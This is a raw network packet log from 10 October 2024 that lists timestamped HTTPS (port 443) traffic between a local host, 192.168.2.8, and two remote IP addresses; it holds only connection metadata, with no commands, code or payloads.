Oct 10, 2024 09:29:04.563599110 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.563630104 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.563648939 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.564224958 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.564244032 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.564294100 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.564297915 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.564326048 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.564344883 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.567281961 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.567311049 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.567392111 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.567398071 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.567440033 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.572587967 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.572613001 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.572669029 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.572674990 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.572712898 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.572829962 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.572846889 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.572899103 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.572905064 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.572942972 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.615307093 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.615329027 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.615449905 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.615487099 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.615562916 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.625859976 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.625878096 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.625967979 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.625994921 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.626023054 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.626045942 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.651232004 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.651257038 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.651381016 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.651421070 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.651469946 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.651526928 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.651546955 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.651587009 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.651595116 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.651621103 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.651640892 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.651880026 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.651904106 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.651940107 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.651947975 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.651982069 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.652002096 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.654896975 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.654913902 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.654999018 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.655008078 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.655100107 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.660552979 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.660571098 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.660630941 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.660655022 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.660669088 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.661015987 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.661036968 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.661073923 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.661082029 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.661103010 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.661135912 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.703814030 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.703887939 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.703962088 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.703980923 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.704014063 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.704035044 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.714750051 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.714772940 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.714863062 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.714874983 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.714917898 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.739948034 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.739969969 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.740073919 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.740107059 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.740149975 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.740299940 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.740315914 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.740364075 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.740381956 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.740417004 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.740653992 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.740669012 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.740720034 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.740729094 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.740761995 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.743623018 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.743638992 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.743696928 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.743726015 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.743772984 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.749224901 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.749243975 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.749293089 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.749322891 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.749339104 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.749361992 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.749628067 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.749644995 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.749696970 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.749706030 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.749742031 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.792685986 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.792710066 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.792825937 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.792864084 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.792931080 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.803344965 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.803369999 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.803427935 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.803464890 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.803504944 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.829277039 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.829341888 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.829363108 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.829392910 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.829410076 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.829427958 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.829513073 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.829556942 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.829619884 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.829628944 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.829659939 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.830209970 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.830251932 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.830276966 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.830286026 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.830306053 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.830324888 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.832307100 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.832350016 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.832395077 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.832410097 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.832428932 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.832448006 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.837918997 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.837980986 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.838263035 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.838320017 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.838443995 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.838494062 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.838507891 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.838520050 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.838542938 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.838557959 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.881571054 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.881620884 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.881705999 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.881751060 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.881771088 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.881928921 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.892280102 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.892330885 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.892385960 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.892417908 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.892436981 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.893266916 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.917504072 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.917522907 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.917581081 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.917614937 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.917629957 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.917676926 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.917695045 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.917728901 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.917738914 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.917752981 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.917782068 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.918575048 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.918642998 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.918658972 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.918679953 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.918694973 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.918718100 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.921775103 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.921794891 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.921850920 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.921880007 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.921941996 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.926594019 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.926614046 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.926688910 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.926717997 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.926759958 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.926975965 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.926992893 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.927037001 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.927050114 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.927073002 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.927088976 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.970308065 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.970329046 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.970447063 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.970479012 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.970525980 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.980839968 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.980853081 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.980962038 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:04.980972052 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:04.981017113 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:05.006241083 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:05.006272078 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:05.006347895 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:05.006356001 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:05.006369114 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:05.006387949 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:05.006411076 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:05.006421089 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:05.006437063 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:05.006459951 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:05.006802082 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:05.006819963 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:05.006867886 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:05.006876945 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:05.006916046 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:05.010173082 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:05.010204077 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:05.010246992 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:05.010252953 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:05.010268927 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:05.010287046 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:05.015280008 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:05.015304089 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:05.015367031 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:05.015372038 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:05.015402079 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:05.015423059 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:05.015455008 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:05.015517950 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:05.015525103 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:05.015537024 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:05.015583992 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:05.017987013 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:05.307830095 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:05.307862997 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:05.307945013 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:05.310779095 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:05.310791969 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:05.919596910 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:05.919719934 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:05.921890020 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:05.921910048 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:05.922173023 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:05.926908970 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:05.971401930 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.325623035 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.325679064 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.325716019 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.325759888 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.325789928 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.325838089 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.388873100 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.388951063 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.389000893 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.389025927 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.389034986 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.389046907 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.389076948 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.389271975 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.389322996 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.389337063 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.417773962 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.417813063 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.417856932 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.417860985 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.417895079 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.417912006 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.417932987 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.417963982 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.417968035 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.417979956 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.418015003 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.418673038 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.472218990 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.472249985 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.481328011 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.481369019 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.481410980 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.481410980 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.481439114 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.481456041 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.481518984 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.481551886 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.481563091 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.481570005 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.481601000 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.481606960 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.482429028 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.482472897 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.482481956 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.482491970 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.482548952 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.482553959 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.482563019 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.482595921 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.483314991 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.483396053 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.483436108 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.483448029 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.510238886 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.510282993 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.510305882 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.510322094 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.510334015 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.510368109 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.510409117 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.510458946 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.510471106 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.511301994 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.511342049 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.511360884 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.511368990 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.511394978 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.552273989 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.552366018 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.552392006 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.574141979 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.574232101 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.574243069 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.574289083 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.574299097 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.574330091 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.574332952 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.574342966 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.574368954 CEST	443	49708	188.114.96.3	192.168.2.8
